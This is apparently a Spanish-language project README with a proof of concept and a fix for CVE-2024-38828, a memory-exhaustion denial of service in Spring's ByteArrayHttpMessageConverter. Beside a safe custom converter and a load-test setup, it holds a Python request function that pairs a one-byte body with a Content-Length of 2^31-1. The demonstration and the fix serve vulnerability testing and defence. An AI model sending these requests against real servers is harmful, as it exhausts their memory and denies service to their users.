
PoC y corrección para CVE-2024-38828: DoS en Spring Framework mediante manipulación de Content-Length en ByteArrayHttpMessageConverter. Incluye pruebas de carga, métricas y un convertidor seguro personalizado.
La prueba verifica el comportamiento/reacción del Spring Framework con y sin la vulnerabilidad CVE-2024-38828.
En ByteArrayHttpMessageConverter se asigna memoria en ByteArrayOutputStream según el encabezado de solicitud Content-Length
lo que puede no coincidir con la realidad si el cuerpo tiene 0 bytes. Ante un aumento repentino de dichas solicitudes (DoS), la memoria se utiliza de manera subóptima, aparecen limpiezas regulares del GC y la aplicación comienza a retrasarse. Mostraré cómo implementarlo/corregirlo y las métricas.

CVE-2024-38828 es una vulnerabilidad de tipo Denial of Service (DoS) en Spring Framework que permite a un atacante provocar el agotamiento de la memoria del servidor a través de un controlador Spring MVC con un parámetro de tipo byte[].
HttpMessageConverter personalizado para manejar arreglos de bytes.
├── src/
│ └── main/
│ └── java/
│ └── me/
│ └── func/
│ └── demo/
│ ├── config/
│ │ └── WebConfig.java
│ ├── converter/
│ │ └── SafeByteArrayHttpMessageConverter.java
│ ├── controller/
│ │ └── DemoController.java
│ └── DemoApplication.java
├── tests/
│ ├── load_test.py
│ └── results/
│ ├── результаты_теста.png
│ └── метрики.json
└── README.md
def send_request(url):
try:
response = requests.post(
url,
data=b'0', # Minimo payload
headers={
'Content-Type': 'application/octet-stream',
'Content-Length': str(2**31 - 1) # Maximo tamano
}
)
return response.status_code, response.text
except Exception as e:
return f"Error: {str(e)}", None
pip install -r requirements.txt
python tests/load_test.py